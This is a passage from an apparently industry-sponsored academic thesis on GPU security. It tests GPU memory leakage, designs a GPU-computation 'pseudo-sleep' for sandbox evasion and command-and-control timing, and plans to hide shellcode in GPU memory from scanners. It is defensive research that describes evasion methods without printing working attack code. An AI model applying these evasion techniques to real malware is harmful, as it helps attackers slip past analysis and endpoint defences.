cryptography, with password-cracking and cryptocurrency mining software using GPU 

computation extensively. This has been utilised by crypto-mining malware, which infects systems 

and performs cryptocurrency mining oﾐ ┗iItiﾏ’s computers and GPUs, for over 15 years [56]. 

However, as mentioned in section 3.2.2, encryption is also often used to obfuscate suspicious 

code, with the code only being decrypted when it needs to be run to reduce the chance of 

detection [57]. However, the use of encryption could be identified via static or dynamic analysis, 

which may trigger alerts or result in further analysis of a binary. If this encryption were offloaded 

to the GPU, then it may bypass detections for standard encryption libraries as it would be using 

a relatively uncommon implementation of encryption.  

Another, more novel, use of GPU computation would be using it to act as a sleep function by 

initiating a series of computations which take a certain amount of time to complete. Oyama  [58, 

p. 462] suggests that さtiﾏe Ioﾐsuﾏiﾐg Ioﾏputatioﾐs … Iaﾐ also He suHstituted foヴ sleepざ and 

that non-standard sleeps さsigﾐifiIaﾐtl┞ IoﾏpliIates the aﾐal┞sis of sleep Heha┗iouヴざ. This 

suggests that using computations on a GPU as a pseudo-sleep could be a viable anti-analysis 

technique. Oyama also identifies five purposes of sleep operations for malware, though two of 

them are generic reasons for software to use sleep, so have been omitted here: 

• Timing out dynamic analysis in a sandbox – Sandboxes only test samples for a certain 

period of time, so delaying any malicious activity until after that will bypass any dynamic 

analysis. 
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• Detection of analysis systems – Because sandboxes can be bypassed by using long sleeps, 

they sometimes hook the Windows Sleep function, or other related API calls, to skip the 

sleeps. This can then be detected by the malware though, if it can use another method to 

query the actual system time and detect any variance. 

• Waiting for a certain condition – Malware, such as C2 payloads, often stays dormant for 

long periods of time, checking in with a C2 server for instructions regularly, but trying to 

remain undetected in-between. Sleeping allows the malware to minimise its resource 

usage and avoid detection as much as possible. 

The major benefit of a GPU pseudo-sleep would be that it would be incredibly difficult for a 

sandbox to hook it in the same way a normal sleep can be. If particular calculations are run, they 

will take a certain time to complete, and there is no way for the system to speed that up.  

This is important because sandboxes have developed tools to bypass timing out techniques. For 

example, Cuckoo Sandbox [59] is a leading open-source malware analysis tool, used to assess 

malware anti-analysis techniques in [60, 61], and contains a signature to identify when a 

Windows sample sleeps for more than 120 seconds [62] and the ability to skip all sleeps which 

run in the first five seconds of a sample, and all longer than a certain length [63, 64]. Iﾐ faIt, it’s 

possible to see the progression of these techniques, as [61] found issues with the sleep-skipping 

logic in Cuckoo and recommended that sleeps longer than a specific limit are skipped. A year 

later, this functionality was available in Cuckoo [64]. 

Moreover, simply the use of GPU code would likely result in an executable crashing in most 

saﾐdHo┝es gi┗eﾐ the┞ doﾐ’t ha┗e attaIhed GPUs aﾐd so ┘oﾐ’t He aHle to ヴuﾐ the GPU Iode. This 

benefits the malware author, as this further prevents analysis as the malware will crash and 

perform no malicious activity. It also means that a GPU pseudo-sleep is by default likely to detect 

aﾐal┞sis s┞steﾏs, as it just ┘oﾐ’t ヴuﾐ oﾐ theﾏ. Theヴefoヴe, ┘e ﾐeed oﾐl┞ Ioﾐsideヴ the otheヴ t┘o 

reasons for using a sleep function: timing out dynamic analysis and waiting for a certain 

condition. 
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4. Experiment Setup 

4.1. Experiment Environment 

GCP access was available for this project thanks to the industry sponsor, PwC. This provided 

access to VMs, running Linux or Windows operating systems, with attached Nvidia Tesla T4 

GPUs. Alongside this, a physical machine was available for testing with an Nvidia GeForce GTX 

970. All the testing was performed on these machines, and the full list of machines used can be 

seen in Table 2. 

Machine Nvidia GPU Driver CUDA version Experiments 

Physical machine 

(PM) 

GeForce GTX 970 516.94 11.7 1 

Windows-1 (W1) Tesla T4 511.65 11.6 and 11.7 1, 2, and 3 

Windows-2 (W2) Tesla T4 472.39 N/A 2 

Ubuntu-1 (U1) Tesla T4 515.65.01 11.6 2 

Ubuntu-2 (U2) Tesla T4 515.65.01 N/A 2 and 3 

Debian-1 (D1 but is 

named linux3 in 

screenshots) 

Tesla T4 510.47.03 11.0 1 and 3 

Table 2 - Machines used during experimentation 

Given that [40] found that ECCs needed to be disabled to allow GPU memory leakage, all 

machines had ECCs disabled for all experiments. More detailed notes on the machines used and 

any setup steps which caused issues or resulted in errors are included in Appendix A. 

4.2. Experiment Goals 

As has been established, there are a variety of security considerations to consider related to 

GPUs, and it is outside the scope of this work to investigate them all in depth. Instead, this 

project seeks to consider those attack vectors amplified by recent technological developments, 

and therefore considered most likely to be implemented. 
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4.2.1. Experiment 1 - GPU Memory Leakage 

Given side-channel attacks are so difficult to perform in an uncontrolled environment, they 

ha┗eﾐ’t Heeﾐ Ioﾐsideヴed iﾐ this pヴojeIt, and instead direct memory leakage has been focused on. 

The most recent assessment of memory leakage vulnerabilities in GPUs, by Hoover [41], found 

that existing memory leakage attacks failed against Nvidia GPUs. The three claims made by 

Hoover are that he proved that [41, p. 1]: 

1. さGPUs ﾐo┘ iﾏpleﾏeﾐt the seIuヴit┞ featuヴe of addヴess spaIe la┞out ヴaﾐdoﾏizatioﾐ 

ふA“LRぶざ 

2. さGPU gloHal ﾏeﾏoヴ┞ is ﾐo┘ zeヴoed out afteヴ dealloIatioﾐざ 

3. さNe┘l┞ alloIated GPU gloHal ﾏeﾏoヴ┞ is iﾐitialized to zeヴoざ 

However, Hoover doesﾐ’t ﾏeﾐtioﾐ ECCs at all, whilst [40] finds that the implementation of ECCs 

on Nvidia GPUs prevented information leakage which was otherwise possible if ECCs were 

disabled. Thus, this work looks to verify the results of Hoover to ensure they are accurate. 

As noted in section 3.1.2, the potential for GPU memory leakage in a cloud environment is of 

particular concern given the lack of existing access it requires. Alongside this, existing research 

didﾐ’t test foヴ GPU ﾏeﾏory leakage across VMs in a cloud environment due to the structure 

used which relied on a known plaintext [40]. Therefore, this work will check if GPU memory 

leakage is possible, via existing methods, within a GCP environment. Thus, the goals of this 

experiment are to: 

1. Assess the results of Hoover [41] to determine if memory leakage on Nvidia GPUs is still 

a viable attack vector. 

2. Establish if GPU memory leakage can be achieved between VMs on GCP. 
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4.2.2. Experiment 2 - GPU Pseudo-Sleep 

When considering the new ways in which a GPU could be leveraged by malware, research 

suggested that a pseudo-sleep function implemented by GPU calculations could be useful. 

When considering the requirements needed for this function, we refer back to the reasons why 

malware performs a sleep from 3.2.3: 

• Timing out dynamic analysis in a sandbox 

• Waiting for a certain condition – For the purposes of this experiment we considered a 

command-and-control implant sleeping for a set period before reaching out to a C2 

server for instructions, then executing the instructions and sleeping again. 

The requirements for a sleep function in each of these situations is slightly different, and the 

main requirements for each use case were determined as follows: 

1. Sandbox evasion  

a. Needs to avoid using standard functions which EDRs or sandboxes will hook or 

interfere with.  

b. Needs to allow for a long enough sleep to bypass the length of time the sandbox 

will be used for.  

2. Command and control  

a. Must use limited system resources as it needs to remain undetected.  

b. Needs to be able to sleep for a relatively precise amount of time, as knowing 

when the implant will execute instructions is important. For example, if 

performing reconnaissance against Active Directory (AD) which requires many 

LDAP queries, an attacker may hope to perform this around 9am, when initial log 

on traffic from employees could mask the unusual LDAP traffic. 

 

4.2.3. Experiment 3 - GPU Memory Scanning 

As discussed in 3.2.2, the use of GPU memory to bypass memory scanning by EDR solutions has 

been implemented both in academic settings and supposedly by actual malware authors. 
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During research, a GitHub repository, GPUSleep, and associated blogpost were identified with 

an implementation of this method which applied to Cobalt Strike [65]. It hooks the standard 

sleep function used by Cobalt Strike so that when Cobalt Strike sleeps, the beacon is instead 

encrypted and copied into GPU memory, and then restored at the end of the sleep.  

Given that there already exists complex implementations of storing data in GPU memory to 

avoid in-memory scanning, it was considered unlikely that this project would develop a 

significantly different or more relevant example. Instead, whilst we do develop a simple proof 

of concept, we focused on possible detections for this anti-analysis method. Specifically, we 

look iﾐto the aHilit┞ to sIaﾐ a pヴoIess’ GPU ﾏeﾏoヴ┞ iﾐ the saﾏe ┘a┞ as ┞ou Iaﾐ Iuヴヴeﾐtl┞ sIaﾐ 

GPU memory. Our three specific aims for this experiment are: 

1. To develop a simple proof of concept application which stores malicious code in GPU 

memory and then retrieves it. 

2. To test this proof of concept against established tools used for detecting malicious in-

memory activity. 

3. To develop analysis methods for GPU malware, in particular a method of scanning the 

GPU memory of a process. 

 

4.3. Experiment Methodologies 

4.3.1. Experiment 1 – GPU Memory Leakage 

Reviewing the experiments performed by Hoover [41], there are four attacks deemed ASLR-

dependent, and two attacks deemed ASLR-independent.  

The ヴesult of Hoo┗eヴ’s fiヴst e┝peヴiﾏeﾐt Ilaiﾏs to sho┘ that A“LR is pヴeseﾐt oﾐ GPUs, though the 

test was only performed on a Linux machine. Therefore, repeating Hoo┗eヴ’s fiヴst e┝peヴiﾏeﾐt, 

using the same code which is originally from [66], across the machines PM, W1, and D1 with 

ECCs disabled, is sufficient to assess the ┗alidit┞ of Hoo┗eヴ’s fiヴst Ilaiﾏ, as ﾏeﾐtioﾐed iﾐ seItioﾐ 

4.2.1. 
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When considering the other two claims, ┘hiIh I doﾐ’t Helie┗e aヴe suppoヴted H┞ the ヴesults of 

Hoo┗eヴ’s e┝peヴiﾏeﾐts as discussed in section 3.1.2,  this work will first ヴepeat Hoo┗eヴ’s sixth 

experiment across the machines PM, W1, and D1 with ECCs disabled. This is the attack which 

requires the least, in that if any of the other 5 attacks work, then this attack would also work. 

This is due to the faIt that it doesﾐ’t ヴeケuiヴe any memory addresses to be consistent, so is ASLR-

independent, and because it all occurs within a single process, there is no potential issue of 

memory zeroing occuring when a process ends is triggered. It involves the filling of GPU global 

memory with a known value, the freeing of that memory, and then the dumping of all GPU 

global memory. If this attack fails, therefore, then all of the other attacks would also fail. 

If this attack does fail, then test programs will be written which can be debugged using Nvidia 

Nsight Next-Gen CUDA Debugger on Windows or cuda-gdb on Linux to provide insight at a 

lower level into GPU memory during the exeuction of the programs. This may allow for the 

さsoﾏetiﾏes uﾐIleaヴざ [41, p. 5] causes behind the failure of the memory leakage attacks to be 

identified, including whether memory is zeroed out during allocation, after freeing, or neither. 

It is also possible that the attack succeeds on PM but fails on W1 and D1 due to protections 

implemented by the cloud provider, in which case the test programs will be run only on PM. 

If this ┗eヴifiIatioﾐ of Hoo┗eヴ’s ヴesults suggests that ﾏeﾏoヴ┞ leakage is possible, then a program 

will be written to dump all of GPU global memory which can be run as soon as a VM is created 

in GCP. This will be run 50 times each on W1 and D1 to give a reasonable chance of detecting 

possible GPU memory leakage. Given that ECCs might need to be disabled on the GCP VM 

which has previously used the GPU, and ECCs being enabled is a default configuration [40], 

even if GPU memory leakage is possible, it could take a significant number of attempts to 

successfully recover data. 

If the ヴe┗ie┘ of Hoo┗eヴ’s ヴesults suggests that ﾏeﾏoヴ┞ leakage isﾐ’t possiHle, the e┝peヴiﾏeﾐts 

will also be run for completeness, but only 20 times each. 
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4.3.2. Experiment 2 – GPU Pseudo-Sleep 

As CUDA is being used, the first step was to consider existing CUDA calculation 

implementations to determine which calculation types may be useful. The CUDA 11.6 sample 

files [67] were used to find suitable calculations for a GPU sleep. Samples were limited to those 

calculations that could be edited to adjust the length of the calculation easily, and those which 

had minimal requirements besides CUDA, to allow the pseudo-sleep to work on the largest 

possible range of machines. 

We recall the pseudo-sleep requirements identified in section 4.2.2: 

1. Sandbox evasion  

a. Needs to avoid using standard functions which EDRs or sandboxes will hook or 

interfere with.  

b. Needs to allow for a long enough sleep to bypass the length of time the sandbox 

will be used for.  

2. Command and control  

a. Must use limited system resources as it needs to remain undetected.  

b. Needs to be able to sleep for a relatively precise amount of time, as knowing 

when the implant will execute instructions is important. For example, if 

performing reconnaissance against Active Directory (AD) which requires many 

LDAP queries, an attacker may hope to perform this around 9am, when initial log 

on traffic from employees could mask the unusual LDAP traffic. 

To assess whether these pseudo-sleep requirements were met, the following methods were 

used: 

• 1a – Any use of suspicious API calls known to be used by malware were discussed and 

justified. 

• 1b – The pseudo-sleep should be tested to ensure it can run for at least 6 hours. It is 

unlikely that a sandbox would run for that long, with [58, p. 463] noting that time limits 

foヴ aﾐal┞sis aヴe t┞piIall┞ さfヴoﾏ a fe┘ ﾏiﾐutes to se┗eヴal teﾐs of ﾏiﾐutesざ, though also 
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mentioning that some malware has been known to sleep for longer, such as さthe 

KeRaﾐgeヴ ヴaﾐsoﾏ┘aヴe, ┘hiIh fiヴst sleeps foヴ thヴee da┞sざ. 

• 2a – Measure the RAM and CPU usage of the pseudo-sleep using Windows Task 

Manager to one decimal place. Given any high period of RAM or CPU usage could result 

in detection, the highest RAM aﾐd CPU usage that oIIuヴヴed duヴiﾐg the pヴogヴaﾏ’s 

execution were used. 

• 2b – Measure the relative error of the pseudo-sleep compared to the intended sleep 

length, with the exact equation detailed in Equation 1, and then take an average over 

ten sleeps. This was done by using a timer which began at the start of the pseudo-sleep 

function, and which ended when the function terminated. The first five sleeps will be 

conducted with no other GPU activity, whilst the last five will be performed with 

another GPU kernel running, specifically a vector addition, to determine if GPU activity 

affects the sleep accuracy.  

 

Equation 1: 

• ActualSleep – The measured length of the GPU pseudo-sleep function. 

• IntendedSleep – The intended sleep for the GPU pseudo-sleep. 

迎結��建�懸結���剣� =  |�潔建憲��鯨�結結喧 − �券建結券穴結穴鯨�結結喧|�券建結券穴結穴鯨�結結喧  

 

Given that the aim of this experiment is simply to produce a reasonable pseudo-sleep, as 

opposed to a completely optimised version which would need further testing and refinement, it 

was decided that the system resource testing (2a) would be the criteria used to determine 

between existing sample files. The sleep length (1b) and accuracy (2b) criteria, and the 

suspicious Windows API call checks (1a) could then be applied to the chosen sample file, and 

another sample could be picked if the original choice failed on any of these criteria. 

It was also decided that this criteria testing would be performed just on Windows, specifically 

W1, given that it is overwhelmingly the most likely operating system to be targeted by 
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malware, with 78.64% of malware being Windows-based in 2019 [68, p. 4]. However, the final 

pseudo-sleep would be tested to ensure it worked on Linux devices with CUDA installed (U1) 

and both Windows and Linux devices without CUDA installed (W2 and U2). 

Given that no current sandboxes were able to be identified which were able to run CUDA code, 

no actual testing of the sandbox evasion could be achieved. The CUDA program would crash on 

devices without the necessary Nvidia GPU and drivers, thereby bypassing the sandbox by 

default as the saﾐdHo┝ Iouldﾐ’t deteIt malicious behaviour because the program would crash 

before it would perform any malicious actions. 

4.3.3. Experiment 3 – GPU Memory Scanning 

Developing a proof-of-concept for storing malicious shellcode in GPU memory should be 

relatively straightforward. MSFvenom [69] will be used to generate the shellcode, as this is a 

well-known shellcode-generator and so the default shellcode will likely be signatured, allowing 

for detection. Because of this, Windows Defender will likely need to be turned off for the 

Windows proof-of-concept, as otherwise it will delete the executable from disk before it can be 

run. This executable will be used to mimic さiﾐ-ﾏeﾏoヴ┞ざ ﾏal┘aヴe, ┘hiIh Iould He ヴuﾐ fヴoﾏ aﾐ 

initial command-and-control implant, but for ease is being run from disk during this 

experiment. 

To assess the ability of storing data in GPU memory to bypass existing in-memory scanning, we 

test our proof-of-concept against several popular tools for malware analysis. These tools are: 

• X64dbg – A popular debugger for Windows executables [25]. 

• PE-Sieve – A tool used to dump the memory of a specific process on Windows and scan 

it for suspicious code, hooks, patches, etc. [70]. 

These were picked because they are each a popular representative for slightly different kinds of 

memory scanning. PE-Sieve can be used by an analyst on a suspicious process, and as the 

memory scanning done by PE-Sieve will automatically detect and extract potentially suspicious 

code, it is suited for initial investigation of a suspicious process. For example, it was used in [71] 

as a method of malware detection. On the other hand, x64dbg is a popular debugger, taught by 
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SANS in the FOR610 Reverse-Engineering Malware course [72]. It is more often used when an 

executable or process is known to be malicious, and a more thorough examination is required, 

as it will just provide access to memory, but this will need to be manually analysed by an 

analyst. 

The proof-of-concept will be tested against two scripts which contain the same shellcode but 

doﾐ’t stoヴe it iﾐ GPU ﾏeﾏoヴ┞. These ┘ill He: 

• TestProgram1 – This stores the shellcode in executable memory using VirtualAlloc and 

memcpy and then sleeps. This is used to represent the situation where shellcode is 

stored in executable memory. 

• TestProgram2 – This leaves the shellcode stored as a variable and sleeps. This is used to 

represent the situation where shellcode is in memory but not yet stored in executable 

memory. 

When testing with PE-Sieve, relevant flags which could result in detection of the shellcode must 

be considered. By default, PE-Sieve will scan just executable memory. Here, the relevant flags 

are: 

• /shellcode – Looks for known shellcode. 

• /data 3 – This results in PE-Sieve scanning all process memory, not just executable 

memory. 

When considering methods of detection for malicious code stored within GPU memory, it is 

iﾏpoヴtaﾐt to Ioﾐsideヴ ┘hat paヴt of the pヴoHleﾏ is さﾐe┘ざ. Methods of ideﾐtif┞iﾐg ﾏaliIious 

code from within a memory segment are well-developed, such as the methods used by PE-

Sieve. What is new for this detection method would be acquiring the GPU memory data. Whilst 

it is worth investigating basic static analysis to determine if a program is interacting with a GPU, 

which can be useful as an indicator if a malicious program has no clear reason to be using the 

GPU, the more important detection methods should focus on acquiring the GPU memory 

associated with a specific process. As such, the three areas which will be investigated are: 

• Basic static analysis, including strings and imports. 
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• Debuggers – As the CUDA debuggers allow GPU memory to be viewed, assess whether 

they can be used to view the GPU memory of other processes. 

• Other open source research – This should be used to identify any other means of 

oHtaiﾐiﾐg a pヴoIess’ GPU ﾏeﾏoヴ┞. 

When looking for a detection method for anything, the aim is to minimise both the false positive 

and the false negative rates. The relative importance of each error rate depends upon the 

circumstances. For errors in a nuclear power plant, you would be more concerned with false 

negatives given the scale of the potential impacts, whereas in a factory a large number of false 

positives could disrupt work more than some products being defective.   

In cyber security, the relative importance of each error type is often dependent on the type of 

system being protected, the size and resources of the security team, how time-sensitive the 

operation of the system is, etc. . As such, no error-type preference was applied when considering 

different detection methods. 
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5. Experiment 1 – GPU Memory Leakage 

5.1. Hoover - ASLR 

Repeatiﾐg Hoo┗eヴ’s [41] first experiment, which uses code from [66], produced the same result 

on a Linux machine, D1, as Hoover had found, but showed that on Windows machines, PM and 

W1, there was no ASLR implemented.  

 

Figure 4 - ASLR test on W1 

As the GPU model, the Nvidia Tesla T4, was the same in both D1 and W1, this suggests that the 

ASLR implementation in Debian is an OS-specific implementation, as opposed to a mitigation 

implemented by the GPU manufacturer. This contradicts the first claim from Hoover. 

5.2. Hoover – Memory Zeroing 

This test was done on PM, W1, and D1 with ECCs disabled, and by using a program with the 

following logic. The full code can be found in Appendix B, and the code itself was adapted from 

code used in [33] which is available on GitHub [73]: 

• First, the total free memory available on the system was identified using 

cudaMemGetInfo. 

• This was then allocated using cudaMalloc. 

• Then cudaMemset was used to set all of global memory to a specific value. 

• Then this memory was freed using cudaFree. 

• GPU global memory was the re-allocated and dumped to a file. Depending on the size of 

GPU RAM, it may be necessary to allocate GPU global memory in chunks and have several 

dump files. An implementation of this can be seen in the code in Appendix E  

These dump files were analysed to check for non-null bytes. 
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• Firstly, the dump files were hashed. As all but the last dump file were the same size, if 

they were all null bytes then the hashes of all but the last dump should be the same. 

o Linux command – md5sum <file> 

o Windows command - certutil -hashfile <file> MD5 

• A set of files covering the unique hashes in the list (the first and last dump file when the 

dumped memory was all null bytes) were then checked using the command xxd <dump 

file> | grep -v "0000 0000 0000 0000 0000 0000 0000 0000. This would show all non-null 

bytes within the file. 

This experiment was repeated 5 times across each of the platforms, with the result being the 

same each time.  

This suggested that the existing information leakage vulnerabilities had been mitigated at least 

somewhat, but [41] didﾐ’t gi┗e aﾐ┞ satisfaItoヴ┞ aﾐs┘eヴs oﾐ ┘h┞ the iﾐfoヴﾏatioﾐ leakage 

vulﾐeヴaHilities hadﾐ’t ┘oヴked, statiﾐg that it ┘as さuﾐIleaヴざ ┘hat the ヴeasoﾐ foヴ the failuヴe of the 

exploits was most of the time [41, p. 7]. 

Given that the information leakage vulnerabilities could be mitigated by zeroing memory either 

at the point of allocation or the point of freeing, and as Hoover claims both occur, testing to see 

if memory was zeroed after either of these operations was conducted. 

In Windows, specifically W1, the Nsight Next-Gen Cuda Debugger was used. Initial tests used 

larger data structures, but it was noticed that if data was freed then it often was no longer visible 

within the memory window in the debugger. This meant that it ┘asﾐ’t possiHle to deteヴﾏiﾐe 

what happened to the memory values after they were freed because they were no longer 

viewable, and instead appeared as さ??” within the debugger. Figure 5 shows a comparison 

Het┘eeﾐ ﾏeﾏoヴ┞ ┘hiIh is ┗ie┘aHle fヴoﾏ a deHuggeヴ Hut is eﾏpt┞ ふヰヰぶ aﾐd that ┘hiIh isﾐ’t ┗isiHle 

to the debugger (??). 
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Figure 5 - Difference between a block containing an allocation and a block without an allocation in Nsight Next-Gen CUDA 

Debugger 

However, it was noticed that small allocations resulted in a section of memory 2MB large being 

visible. For example, allocating space for a string in GPU memory and then copying the string in 

would result in the string being stored at the beginning of a 2MB block which then became visible, 

with the rest of the data being null bytes. It was also noticed that data seemed to be allocated in 

512 byte chunks. So if two strings were allocated using cudaMalloc, each 20 bytes long, then one 

string may be stored at 0xb06000000, and the other would then be stored at 0xb06000200, even 

though the fiヴst stヴiﾐg doesﾐ’t ﾐeed ヵヱヲ H┞tes of spaIe. 

So, when wanting to look at de-allocated memory, doing so with smaller data structures was 

necessary, as they may still be visible within the debugger after being de-allocated if nearby data 

is still allocated. This proved to be the case, and allowed the development of a program to test 

what happened to memory after it was freed and then re-allocated.  

In oder to read GPU memory using Nvidia Nsight Next-Gen CUDA Debugger, you need to have 

the program stopped at a breakpoint within a CUDA kernel. You can allocate and free GPU 

memory without using a CUDA kernel, but in order to inspect the memory state to determine 

what is happeneing, a kernel is needed [74]. When creating a project in Visual Studio Community 

Edition 2019 with CUDA 11.6 installed, you are given the option to create a CUDA 11.6 project, 

which then generates a default cuda file kernel.cu. 
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This file contains a basic CUDA program, with a kernel which can be used to add vectors together. 

This CUDA kernel is called vectorAdd, and is invoked from a separate function called 

addWithCuda. This function addWithCuda deals with the setup and clearup of the kernel, but for 

our purposes the important information is what GPU memory it allocates, and if it fills any of that 

memory with data. It performs the following GPU memory allocations in this order: 

• Uses cudaMalloc to allocate 20 bytes each to a pointer dev_c which is used to hold the 

output of the vector addition. Nothing is stored in dev_c, the memory is only edited within 

the actual CUDA kernel. 

• Uses cudaMalloc to allocate 20 bytes to a pointer dev_a. The first vector to be added is 

then copied into that 20 bytes using cudaMemcpy. 

• Uses cudaMalloc to allocate 20 bytes to a pointer dev_b. The first vector to be added is 

then copied into that 20 bytes using cudaMemcpy. 

This was edited to produce a test program which contained the following functionality. Note that 

the memory addresses mentioned are those seen during the Windows tests, where addresses 

were consistent as noted earlier. The full code for this program can be found in Appendix C. 

• A region of GPU memory is allocated using cudaMalloc and a string, string1, is stored in 

there using cudaMemcpy. It was stored at 0xb06000000 in GPU memory. 

• Another string, string2, is stored in GPU memory in the same way, and stored at 

0xb06000200. 

• The GPU memory storing string1 is freed using cudaFree.  

• Then the addWithCuda function is called to run the CUDA kernel. As mentioned, this 

allocates three memory regions, which end up at the following memory addresses: 

o dev_c – Stored at 0xb06000000, as this memory address has been freed, and 

┘hiIh doesﾐ’t stoヴe aﾐ┞ data theヴe Hefoヴe the keヴﾐel is Ialled. 

o dev_a – Stored at 0xb06000400, the next available 512-byte chunk, and which has 

a vector stored in it. 

o dev_b – Stored at 0xb06000600, and which has a vector stored in it. 
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• A breakpoint is triggered at the start of the CUDA kernel, before the kernel has performed 

any actions. At this point, the memory at 0xb06000000 shows the original string1. 

This experiment showed that the data, string1, stored at 0xb06000000, remained there after 

both the memory was freed, via cudaFree, and re-allocated, by cudaMalloc. Therefore, neither 

allocating nor freeing the memory, by itself, results in the memory being cleared. However, the 

previous experiments showed that memory did appear to be cleared when copying large 

amounts of GPU memory across and writing it to a file. 

When considering what might cause this disparity, it was considered that possibly data was 

visible in GPU memory in the debugger, but if you tried to copy memory via cudaMemcpy from 

the GPU before storing anything within it an error or security feature resulted in all null bytes 

being returned.  

However, experimentation showed that the leaked memory could be copied out to host data and 

printed out. Note that the memory copied over from the de┗_I alloIatioﾐ Iouldﾐ’t He laヴgeヴ thaﾐ 

the size allocated for dev_c, otherwise an error would occur. 

Further experimentation revealed that memory was cleared if all memory within a 2MB block 

was freed before re-allocating any of it. The program used previously was edited to show this. 

• A region of GPU memory is allocated using cudaMalloc and a string, string1, is stored in 

there using cudaMemcpy. It was stored at 0xb06000000 in GPU memory. 

• This memory is immediately freed using cudaFree. 

• Then the addWithCuda function is called to run the CUDA kernel. 

o This allocates three memory regions, but the relevant one is that dev_c gets 

allocated to 0xb06000000. 

o However, when the breakpoint at the start of the CUDA kernel is hit, the data at 

0xb06000000 is all null bytes, and not string1. 

It is possible that whilst the virtual address for dev_c is the same, the physical GPU memory it 

maps to is different, as when the 2MB block is freed another section of physical memory replaces 

it at the same virtual address space when the next cudaMalloc occurs. If this was the case, it 
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┘ouldﾐ’t e┝plaiﾐ the iﾐitial failuヴes to ヴead aﾐ┞thiﾐg fヴoﾏ gloHal ﾏeﾏoヴ┞, so ┘ould ﾐeed to He 

coupled with some mechanism to zero out that memory at some point. 

Alternatively, it could be that whenever a new 2MB block is used by a process, it is cleared 

initially, but ﾐot theﾐ ┘hilst it’s still iﾐ use. “o iﾐ this Iase, afteヴ the HloIk is full┞ fヴeed it’s 

considered unusued by the process, and then when another allocation occurs the block is 

considered newly allocated and so is zeroed out again. 

This suggests that claims two and three from Hoover are somewhat incorrect, as we have seen 

both global memory allocation and de-allocation without the memory being cleared, but this only 

occurs within these 2MB blocks. The result appears correct when dealing with larger memory 

sizes, though this could occur if memory is cleared at allocation or de-alloIatioﾐ, aﾐd doesﾐ’t 

require both. 

To verify these results were the same on Linux, a program was written to leak memory without 

a CUDA kernel, because it had already been established how GPU memory was operating. This 

program performed the following actions, with the whole code being available in Appendix D: 

• A region of GPU memory is allocated using cudaMalloc and a string, string1, is stored in 

there using cudaMemcpy. 

• The same process is done with a different string, string2. 

• The GPU memory region containing string2 is then freed using cudaFree. 

• A 64-byte region of GPU memory is allocated using cudaMalloc to a variable mem_leak, 

but nothing is written to it. 

• Data from the newly allocated region is then copied from the GPU to the host using 

cudaMemcpy and printed out to the terminal. 

 

Figure 6 - GPU memory leak test on Linux 

As Figure 6 shows, memory allocations on Linux were made in 512 byte blocks as well, and further 

tests were carried out to check that the 2MB block size was the same. This was done by changing 
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string1 to an integer array of a variable size. Setting the integer array to a size of 2MB prevents 

ﾏeﾏoヴ┞ leakage Hut if the iﾐtegeヴ aヴヴa┞’s size is ヵヱヲ H┞tes less thaﾐ ヲMB, theﾐ the ﾏeﾏoヴ┞ 

leakage works. This is consistent with what was found on Windows. Testing was then performed 

on PM, which found that the memory leak was also possible but the block size was 1MB instead 

of 2MB, suggesting that this may be dependent on the GPU model. 

 

5.3. Cloud GPU Memory Leakage 

Given that the results of section 5.2 iﾐdiIate that ﾏeﾏoヴ┞ leakage shouldﾐ’t He possiHle oﾐ 

Nvidia GPUs regardless of if they are physical GPUs or cloud-based GPUs, the program used to 

dump GPU memory after boot was only run 20 times each on W1 and D1. This program can be 

seen in Appendix E. As expected, this returned dump files consisting of all null-bytes every time. 
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6. Experiment 2 - GPU Pseudo-Sleep 

6.1. System Resource Utilisation 

A selection of CUDA 11.6 sample files [67] with minimal dependencies were selected for testing. 

Windows Task Manager was used to assess CPU utilisation and RAM usage for each program. 

Initial tests on these produced the results shown in Table 3. 

Sample File Created a sleep? CPU utilisation RAM usage 

0_Introduction/vectorAdd Yes 12.6% 94.5MB 

0_Introduction/matrixMul Yes 13.2% 82.4MB 

5_Domain_Specific/quasirandomGenerator Yes 0% 92.0MB 

5_Domain_Specific/BlackScholes Yes 0% 84.5MB 

Table 3 - System resource usage for pseudo-sleep candidate programs 

Given these results, the BlackScholes sample file was used. The CPU utilisation and RAM usage 

act as a trade-off. When looking to run GPU calculations for a long time, you can run longer GPU 

kernels (more complicated calculations, such as larger matrices or vectors) for a smaller number 

of times or run shorter GPU kernels more times. Longer GPU kernels generally require larger 

inputs, and so more RAM usage, whilst shorter GPU kernels means you have shorter gaps 

between running CPU code and can have higher CPU utilisation. Whilst for longer GPU kernels 

you could ensure you free all of the RAM before running the GPU calculations, it is likely you may 

then need to re-run the kernel and re-allocate and fill that data again, which may increase CPU 

utilisation. 

Editing the sample codes showed that, whilst by default CPU utilisation and RAM usage were 

different, for each of them there were easy steps that could be taken to edit that trade-off to fit 

the necessary requirement. Therefore, it appeared that there was flexibility to use all of the 

tested CUDA samples, and likely many more untested samples, to successfully implement a GPU 

pseudo-sleep. This is beneficial as it provides a large range of existing code which can be lightly 

edited, so if one GPU pseudo-sleep is signatured then another one can be used. 
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The BlackScholes sample consists of the files: 

• BlackScholes.cu – Main CUDA file which edits were made to. 

• BlackScholes_gold.cpp – C++ file which contains definitions for the CPU implementation 

of the BlaIk“Iholes foヴﾏula. This isﾐ’t ヴeケuiヴed foヴ the GPU pseudo-sleep. 

• BlackScholes_kernel.cuh – CUDA header file which includes the GPU implementation of 

the BlackScholes formula. No changes were made to this. 

Edits were only made to the BlackScholes.cu file. An edited version of this file can be seen in 

Appendix F, though it also includes code to store shellcode in between the pseudo-GPU sleep for 

the proof-of-concept for Experiment 3. The main edits to the code were:  

• Removing the CPU calculations and any unnecessary malloc or printf commands which 

could reduce CPU utilisation or RAM usage. 

• Having the calculations run initially with a set number of iterations used to calibrate the 

sleep.  

• The timer system used was edited to measure the time taken for that initial sleep, and 

then calculate the multiplier of the base number of iterations needed to make the 

intended sleep length.  

• The second set of calculations are then run.  

The same solution was also compiled successfully on a Linux machine with CUDA (U1). 

 

6.2. Sleep Accuracy 

Table 4 contains the results of the sleep accuracy test performed on the BlackScholes GPU 

pseudo-sleep. The full results can be found in Appendix G. 

Intended length of sleep (seconds) Percentage error in GPU pseudo-sleep 

10 0.96% 

60 0.24% 

300 0.20% 
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600 0.20% 

3600 0.19% 

Table 4 - Sleep accuracy test results 

This provides an acceptable percentage error. Whilst it is possible that repeated sleeps could 

result in significant cumulative error, the importance for command-and-control implants is in 

knowing when the next command will be run. Therefore, having the individual sleeps very close 

to their intended length is sufficient. 

The full results in Appendix G also show no obvious indication that other GPU calculations 

affect the sleep. However, it is noted that only one other GPU program was run, so it may be 

that this didﾐ’t ha┗e eﾐough iﾏpaIt upoﾐ the GPU. Fuヴtheヴ, the load on the GPU was constant 

